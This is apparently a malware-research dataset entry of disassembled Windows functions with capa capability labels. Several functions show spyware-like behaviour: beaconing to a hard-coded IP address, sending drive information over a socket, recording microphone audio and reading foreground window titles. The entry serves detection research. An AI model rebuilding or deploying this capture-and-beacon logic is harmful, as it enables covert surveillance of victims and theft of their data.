joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002840
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x450
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x2c], 0
mov byte [rsp + 0x240], 0
lea rax, [rsp + 0x241]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ff
rep stosb byte [rdi], al
mov byte [rsp + 0x40], 0
lea rax, [rsp + 0x41]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ff
rep stosb byte [rdi], al
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x460]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1400029df
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400028ee
cmp dword [rsp + 0x30], 1
je 0x140002963
jmp 0x1400029d0
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x460]
movsx eax, byte [rcx + rax]
cmp eax, 0x7c
je 0x140002919
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x460]
movsx eax, byte [rcx + rax]
test eax, eax
jne 0x140002930
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
jmp 0x1400029d0
movsxd rax, dword [rsp + 0x20]
movsxd rcx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x460]
movzx eax, byte [rdx + rax]
mov byte [rsp + rcx + 0x240], al
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
jmp 0x1400029d0
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x460]
movsx eax, byte [rcx + rax]
cmp eax, 0x7c
je 0x14000298e
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x460]
movsx eax, byte [rcx + rax]
test eax, eax
jne 0x1400029a2
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
jmp 0x1400029d0
movsxd rax, dword [rsp + 0x20]
movsxd rcx, dword [rsp + 0x24]
mov rdx, qword [rsp + 0x460]
movzx eax, byte [rdx + rax]
mov byte [rsp + rcx + 0x40], al
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
jmp 0x1400028ba
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x1400029f9
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140007550
add rsp, 0x450
pop rdi
ret
Function at 0x140003220
Capabilities:
Get disk information

Disassembly:
push rdi
mov eax, 0x1680
call fcn.14001c270
sub rsp, rax
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1678], rax
mov dword [rsp + 0x28], 0
mov eax, dword [0x1400253fc]
mov dword [rsp + 0x20], eax
movzx eax, byte [0x14002527e]
mov byte [rsp + 0x1660], al
lea rax, [rsp + 0x1661]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_send
rep stosb byte [rdi], al
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x20], 0x41
jmp 0x1400032ab
mov eax, 1
imul rax, rax, 0
movzx eax, byte [rsp + rax + 0x20]
inc al
mov ecx, 1
imul rcx, rcx, 0
mov byte [rsp + rcx + 0x20], al
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x20]
cmp eax, 0x5a
jg 0x1400034ca
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 6
ja case.0x1400032f1.1
mov eax, dword [rsp + 0x24]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x34e8]
add rax, rcx
jmp rax
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x20]
mov r9d, gethostbyname
mov r8d, eax
lea rdx, [0x140025400]
lea rcx, [rsp + 0x44]
call fcn.1400016f0
mov dword [rsp + 0x40], 0x7d0
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [rsp + 0x40]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x1400032f1.1
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x20]
mov r9d, gethostbyname
mov r8d, eax
lea rdx, [0x140025408]
lea rcx, [rsp + 0x44]
call fcn.1400016f0
mov dword [rsp + 0x40], 0x7d0
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [rsp + 0x40]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x1400032f1.1
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x20]
mov r9d, gethostbyname
mov r8d, eax
lea rdx, [0x140025410]
lea rcx, [rsp + 0x44]
call fcn.1400016f0
mov dword [rsp + 0x40], 0x7d0
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [rsp + 0x40]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x1400032f1.1
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x20]
mov r9d, gethostbyname
mov r8d, eax
lea rdx, [0x140025418]
lea rcx, [rsp + 0x44]
call fcn.1400016f0
mov dword [rsp + 0x40], 0x7d0
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [rsp + 0x40]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x1400032f1.1
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x20]
mov r9d, gethostbyname
mov r8d, eax
lea rdx, [0x140025420]
lea rcx, [rsp + 0x44]
call fcn.1400016f0
mov dword [rsp + 0x40], 0x7d0
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [rsp + 0x40]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp case.0x1400032f1.1
mov eax, 1
imul rax, rax, 0
movsx eax, byte [rsp + rax + 0x20]
mov r9d, gethostbyname
mov r8d, eax
lea rdx, str._c_c
lea rcx, [rsp + 0x44]
call fcn.1400016f0
mov dword [rsp + 0x40], 0x7d0
xor r9d, r9d
mov r8d, 0x1620
lea rdx, [rsp + 0x40]
mov rcx, qword [0x14002be88]
call fcn.140001440
jmp 0x14000328e
jmp 0x1400034ce
mov rcx, qword [rsp + 0x1678]
xor rcx, rsp
call fcn.140007550
add rsp, 0x1680
pop rdi
ret
Function at 0x140004600
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1e8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov eax, 2
mov word [rsp + 0x20], ax
lea rdx, [rsp + 0x30]
movzx ecx, word [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
je 0x140004649
mov ecx, 1
call qword [sym.imp.USER32.dll_PostQuitMessage]
movzx eax, word [rsp + 0x30]
and rax, 0xff
movzx eax, al
cmp eax, 2
jne 0x140004672
movzx eax, word [rsp + 0x30]
shr rax, 8
and rax, 0xff
movzx eax, al
test eax, eax
je 0x140004680
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140007550
add rsp, 0x1e8
ret

Function at 0x1400046a0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
call fcn.140004600
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rcx, str.172.96.137.116
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x24], eax
mov eax, 2
mov word [rsp + 0x20], ax
movzx ecx, word [0x14002aac4]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x22], ax
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14002be88], rax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, qword [0x14002be88]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140004742
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004762
mov r9d, gethostbyname
mov r8d, 0x401
mov rdx, qword [rsp + 0x50]
mov rcx, qword [0x14002be88]
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
jmp 0x14000476d
xor eax, eax
cmp eax, 1
jne 0x1400046be
mov rax, qword [rsp + 0x50]
mov qword [0x140034f70], rax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140007550
add rsp, 0x40
pop rdi
ret

Function at 0x1400047b0
Capabilities:
Capture microphone audio

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x18]
and eax, 1
cmp eax, 1
jne 0x14000480b
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0xc]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax]
mov rcx, qword [0x14002d818]
call qword [sym.imp.WINMM.dll_mmioWrite]
mov r8d, gethostbyname
mov rdx, qword [rsp + 0x40]
mov rcx, qword [0x14002d820]
call qword [sym.imp.WINMM.dll_waveInAddBuffer]
mov dword [rsp + 0x20], eax
add rsp, 0x38
ret
Function at 0x140004860
Capabilities:
Capture microphone audio
Delete file

Disassembly:
push rdi
sub rsp, 0x40
mov dword [rsp + 0x30], 0
mov dword [0x14002d82c], 0x2b11
mov eax, 1
mov word [0x14002d82a], ax
mov eax, reloc.WS2_32.dll_recv
mov word [0x14002d836], ax
mov eax, 1
mov word [0x14002d828], ax
movzx eax, word [0x14002d82a]
movzx ecx, word [0x14002d836]
imul eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
mov word [0x14002d834], ax
movzx eax, word [0x14002d834]
mov ecx, dword [0x14002d82c]
imul ecx, eax
mov eax, ecx
mov dword [0x14002d830], eax
mov eax, send
mov word [0x14002d838], ax
mov dword [rsp + 0x28], 0x30000
mov qword [rsp + 0x20], 0
lea r9, [0x140004810]
lea r8, [0x14002d828]
xor edx, edx
lea rcx, [0x14002d820]
call qword [sym.imp.WINMM.dll_waveInOpen]
mov dword [rsp + 0x30], eax
lea rax, [0x14002d7b0]
mov rdi, rax
xor eax, eax
mov ecx, WSAAsyncSelect
rep stosb byte [rdi], al
lea rcx, [0x140034e60]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r8d, 0x1001
lea rdx, [0x14002d7b0]
lea rcx, [0x140034e60]
call qword [sym.imp.WINMM.dll_mmioOpenA]
mov qword [0x14002d818], rax
lea rax, [0x14002d780]
mov rdi, rax
xor eax, eax
mov ecx, socket
rep stosb byte [rdi], al
mov dword [0x14002d788], 0x45564157
mov r8d, 0x20
lea rdx, [0x14002d780]
mov rcx, qword [0x14002d818]
call qword [sym.imp.WINMM.dll_mmioCreateChunk]
mov dword [rsp + 0x30], eax
lea rax, [0x14002d798]
mov rdi, rax
xor eax, eax
mov ecx, socket
rep stosb byte [rdi], al
mov dword [0x14002d798], 0x20746d66
mov dword [0x14002d79c], 0x12
xor r8d, r8d
lea rdx, [0x14002d798]
mov rcx, qword [0x14002d818]
call qword [sym.imp.WINMM.dll_mmioCreateChunk]
mov dword [rsp + 0x30], eax
mov r8d, send
lea rdx, [0x14002d828]
mov rcx, qword [0x14002d818]
call qword [sym.imp.WINMM.dll_mmioWrite]
mov dword [rsp + 0x34], eax
movsxd rax, dword [rsp + 0x34]
xor r8d, r8d
lea rdx, [0x14002d798]
mov rcx, qword [0x14002d818]
call qword [sym.imp.WINMM.dll_mmioAscend]
mov dword [rsp + 0x30], eax
mov dword [0x14002d798], 0x61746164
xor r8d, r8d
lea rdx, [0x14002d798]
mov rcx, qword [0x14002d818]
call qword [sym.imp.WINMM.dll_mmioCreateChunk]
mov dword [rsp + 0x30], eax
add rsp, 0x40
pop rdi
ret
Function at 0x140004c00
Capabilities:
Capture microphone audio

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x20], 0
jmp 0x140004c31
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 3
jge 0x140004d10
mov eax, dword [0x14002d830]
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x28]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
movsxd rcx, dword [rsp + 0x20]
imul rcx, rcx, 0x30
lea rdx, [0x14002d6f0]
mov qword [rdx + rcx], rax
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x30
lea rcx, [0x14002d6f0]
mov edx, dword [0x14002d830]
mov dword [rcx + rax + 8], edx
movsxd rax, dword [rsp + 0x20]
movsxd rcx, dword [rsp + 0x20]
imul rcx, rcx, 0x30
lea rdx, [0x14002d6f0]
mov qword [rdx + rcx + 0x10], rax
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x30
lea rcx, [0x14002d6f0]
add rcx, rax
mov rax, rcx
mov r8d, gethostbyname
mov rdx, rax
mov rcx, qword [0x14002d820]
call qword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x30
lea rcx, [0x14002d6f0]
add rcx, rax
mov rax, rcx
mov r8d, gethostbyname
mov rdx, rax
mov rcx, qword [0x14002d820]
call qword [sym.imp.WINMM.dll_waveInAddBuffer]
mov dword [rsp + 0x24], eax
jmp 0x140004c27
jmp 0x140004d14
add rsp, 0x48
ret

Function at 0x140005270
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov edx, 2
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.USER32.dll_GetWindow]
mov rcx, qword [rsp + 0x50]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x1400052c6
add rsp, 0x38
ret

Function at 0x1400052d0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x30], 0xfffffffffffffffe
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x60], 0
jne 0x140005315
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x140005331
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, qword [rsp + 0x60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x20]
jmp 0x14000533f
add rsp, 0x48
ret
Function at 0x140007c08
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140007c99
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140007c99
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007c99
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140007c7d
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140007c77
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140007c7f
add rdx, 0x28
jmp 0x140007c5c
xor edx, edx
test rdx, rdx
jne 0x140007c88
xor al, al
jmp 0x140007c9f
test dword [rdx + 0x24], 0x80000000
je 0x140007c95
xor al, al
jmp 0x140007c9f
mov al, 1
jmp 0x140007c9f
xor al, al
jmp 0x140007c9f
add rsp, 0x18
ret

Function at 0x14000f744
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000f518
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f518
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f518
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f518
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f518
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f518
cmp dword [rcx + 0xf8], esi
je 0x14000f518
mov ecx, r14d
call fcn.14000f660
mov ecx, 2
call fcn.140016144
nop
cmp byte [0x14002b4d8], 0
jne 0x14000f5e2
mov r15d, 1
mov eax, r15d
xchg dword [0x14002b4cc], eax
test ebx, ebx
jne 0x14000f58b
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14002b4d0]
cmp rcx, rax
je 0x14000f582
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140008310]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14002b4e8]
jmp 0x14000f597
cmp ebx, r15d
jne 0x14000f59d
lea rcx, [0x14002b500]
call fcn.14000fd64
nop
test ebx, ebx
jne 0x14000f5b4
lea rdx, [0x14001d658]
lea rcx, [0x14001d638]
call fcn.14000f3d8
lea rdx, [0x14001d668]
lea rcx, [0x14001d660]
call fcn.14000f3d8
movzx eax, byte [0x14002b4d8]
test esi, esi
cmove eax, r15d
mov byte [0x14002b4d8], al
jmp 0x14000f5e2
mov ecx, 2
call fcn.140016198
test esi, esi
jne 0x14000f5f9
mov ecx, r14d
call fcn.14000f614
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000f4a8
Function at 0x140014f2c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x140014dcc
call fcn.1400107ec
mov dword [rax], socket
call fcn.1400106cc
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140014db4
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x140014db4
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x140014dfe
lock or dword [rax + 0x14], 0x10
jmp 0x140014db4
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x140014e1b
mov rcx, qword [rbp + 0x10]
call fcn.1400183b8
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140011640
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.140014804
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x140014e72
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x140014db4
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x140014ede
mov rcx, qword [rbp + 0x10]
call fcn.140011640
cmp eax, 0xffffffff
je 0x140014ec5
mov rcx, qword [rbp + 0x10]
call fcn.140011640
cmp eax, 0xfffffffe
je 0x140014ec5
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140011640
movsxd rdi, eax
lea rsi, [0x14002b6e0]
mov rcx, rbx
sar rdi, 6
call fcn.140011640
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x140014ecc
lea rax, [0x14002a1b0]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140014ede
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x140014f14
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x140014f10
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x140014f10
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x140014db7
jmp 0x140014d84
Function at 0x1400092c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x140011030]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dil, 1
cmp qword [rcx + 0x68], 0
je 0x14000937c
mov rsi, rcx
cmp byte [rcx + 0x71], 0
je 0x14000937c
mov rax, qword [rsi]
mov rax, qword [rax + 0x18]
mov rcx, rsi
mov edx, 0xffffffff
call qword [0x140013010]
cmp eax, 0xffffffff
je 0x14000937a
mov rcx, qword [rsi + 0x68]
lea r9, [rsp + 0x50]
lea rdx, [rsi + 0x74]
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
lea r8, [rsp + 0x28]
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x30]
mov r8, rdi
call qword [0x140013010]
cmp eax, 3
je 0x140009393
cmp eax, 1
je 0x140009349
test eax, eax
jne 0x14000937a
mov byte [rsi + 0x71], 0
mov rbx, qword [rsp + 0x28]
sub rbx, rdi
je 0x140009370
mov r9, qword [rsi + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x14000937a
cmp byte [rsi + 0x71], 0
sete dil
jmp 0x14000937c
xor edi, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140008cb0
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov byte [rsi + 0x71], 0
mov dil, 1
jmp 0x14000937c
Function at 0x140001760
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400076d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400076d0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400017d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0a4]
mov rbx, rcx
test esi, esi
jle 0x140001900
mov rax, qword [0x14000d0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000181b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001800
mov rcx, rbx
call fcn.140002240
mov rdi, rax
test rax, rax
je 0x140001922
mov rax, qword [0x14000d0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002380
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001907
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000189e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400018b0
add dword [0x14000d0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000189e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001760
nop dword [rax]
xor esi, esi
jmp 0x140001828
mov rax, qword [0x14000d0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001760
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001760
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001eb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x140001f0c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001f03
test eax, eax
jne 0x140001f03
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ee8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002240
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009ba0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002260
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002268
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002260
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400022b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002260
add rax, 0x28
cmp rax, r9
jne 0x1400022a0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009ba0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009ba0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000239f
